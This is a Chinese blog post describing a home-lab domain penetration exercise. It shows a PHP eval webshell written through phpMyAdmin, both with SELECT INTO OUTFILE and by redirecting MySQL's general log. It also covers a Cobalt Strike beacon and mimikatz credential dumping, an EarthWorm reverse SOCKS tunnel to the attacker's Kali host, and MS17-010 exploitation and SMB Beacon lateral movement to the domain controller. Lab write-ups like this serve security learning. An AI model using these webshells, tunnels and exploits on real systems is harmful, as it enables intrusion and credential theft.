内网渗透 域渗透

前言

环境搭建:

设置Win2K3 仅主机模式,ip:192.168.52.141

winserver08 仅主机模式,ip:192.168.52.138 (域控)

win7添加一个网卡,ip:192.168.23.141;192.168.52.143(双网卡,作为跳板机),一个设为仅主机模式,另一个设为NAT模式;

kali攻击机设为NAT模式,ip:192.168.23.131

拓扑图:

 

信息收集

1.使用nmap对win7进行端口嗅探,发现win7开放了80和3306端口

 

2.访问http://192.168.23.141,为一个php的探针,能看到绝对路径

 

3.对http://192.168.23.141进行目录扫描,发现存在phpadmin的登录界面

 

4.使用root/root弱口令成功进入后台

PhpMyAdmin get shell

1.利用select into outfile 写入shell

先查看能否自定义导出文件目录的权限,结果为NULL意味着不允许导入导出数据到目录。且只能在my.ini进行配置。

命令:SHOW VARIABLES LIKE "secure_file_priv";

 

如果能将my.inisecure_file_prive并将其值设置为""或"/",并重启MySQL服务

命令:select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';

进行一句话写shell

2.利用日志写shell

查看全局变量 general_log、general_log_file

命令:SHOW VARIABLES LIKE "general_log%";

 

general_log 默认关闭,,general_log_file为日志储存路径。

写shell的思路:更改general_log的值,将日志储存在能访问的路径下,且后缀名为php。然后通过log日志进行写入一句话木马,然后再进一步利用。

命令:

set global general_log = "ON";

set global general_log_file = "C:/phpStudy/WWW/shell.php";

然后在日志中插入一句话:
SELECT '<?php eval($_POST["pass"]);?>'

使用蚁剑连接:http://192.168.23.141/shell.php,成功连接

 

内网信息收集

1.使用蚁剑进行信息收集时,许多命令无回显,尝试上传cs马,回连beacon。

 

2.上线cs马,进行信息收集

 

3.信息收集 net view /domain,目标机存在一个GOD的域,域控ip为192.168.52.138

 

 

 

 

信息收集中,需要用到的命令 (cs中执行命令,需要带上“shell”)

ipconfig /all

net view

net view /domain

net time /domain

能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

net config workstation 查询当前的登录域与用户信息

net lookup “域名”  nslookup 命令直接解析域名服务器

net user /domain  查看当前域的所有用户

wmic useraccount get /all 获取域内用户的详细信息

net group "domain computers" /domain 查看所有域成员计算机列表

net group "domain admins" /domain 查看所有域控管理人员

net group "domain controllers" /domain 查看与控制管理器

net group "enterprise admins" /domain 查看企业管理组

net localgroup administrators /domain 查看域控,升级为域控时,本地账户也成为域管

net accounts /domain 获取域密码信息

nltest /domain_trusts 获取域信任列表

4.使用mimikatz模块进行密码导出

横向移动

此时,我们已知道域控的ip为192.168.52.138(通过dns中的ip地址,或者通过ping域服务器可得到域控ip地址),那么以win7为跳板机,进行横向攻击。

反弹socks5服务器

1.在kali上运行:

./ew_linux_x64 -s rcsocks -l 1080 -e 1234

该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。

 2.在win7 (web服务器中)运行

execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234

该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.23.131(kali)的1234端口上。

(1)先将ew文件上传到目标机win7中,然后执行命令

 (2)执行execute ew_for_Win.exe -s rssocks -d 192.168.23.131 -e 1234

(3)配置proxychains.conf(kali上需要安装 sudo apt-get install proxychains)

现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了

/etc/proxychains.conf修改内容如下,去掉dynamic_chain和dns(实验中,有时proxychains启动nmap会报错)的注释,并且在最后的位置添加代理。

 

(4)测试代理是否正常

 发现正常

渗透内网主机

proxychains启动nmap

用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网:

 发现仅存活192.168.52.138和192.168.52.141两台内网主机,从前面的域信息收集可知138主机为域控主机

proxychains启动nmap

尝试对其进行端口扫描,发现其开放了3389和445端口,尝试对其进行永恒之蓝攻击

proxychains启动msf

1)启动msfconsole

 

随后正常使用ms17_010等利用方式进行利用

 

 设置正向监听和rhost(大概率会打重启,本人中途打重启多次,可尝试使用exploit/windows/smb/ms17_010_psexec模块)

注:该模块要求目标机器开启命名管道,可使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。)

 

 成功打入ms17_010

接下来,load mimikatz模块,即可进行域账号的横向;或者上线到cs(传shell)

======================================================================================================================================================================

补充:如果永恒之蓝等exp利用方式无法进行,可以使用获取到win7明文账号进行横向ipc上线

SMB Beacon的使用场景:

  1. 我们知道了目标机器的管理员账号的明文密码或密码哈希。但是目标主机不出网,所以我们想利用SMB Beacon正向连接让其上线。
  2. 还有一种使用场景是,在域环境中,我们已经得到一个域用户的账号密码(此环境中,我们获得win7权限为域管理员权限,可横向ipc到域控服务器)。由于在域中,默认域用户可以登录除域控外的所有主机。所以我们可以利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线。

(1)首先创立一个Beacon_SMB监听器 

 

(2)利用其明文密码使其上线Beacon_SMB

先建立一个ipc连接

 

 然后使用jump进行上线Beacon_SMB  

 

 此时查看连接的会话,发现成功获取了域控(192.168.52.138)的shell

到这就结束分享。

接下来就是使用ipc继续上线Beacon_SMB,依次提权等。。。。。

 

posted @ 2021-04-06 17:33  sec_wuyy  阅读(1380)  评论(0编辑  收藏  举报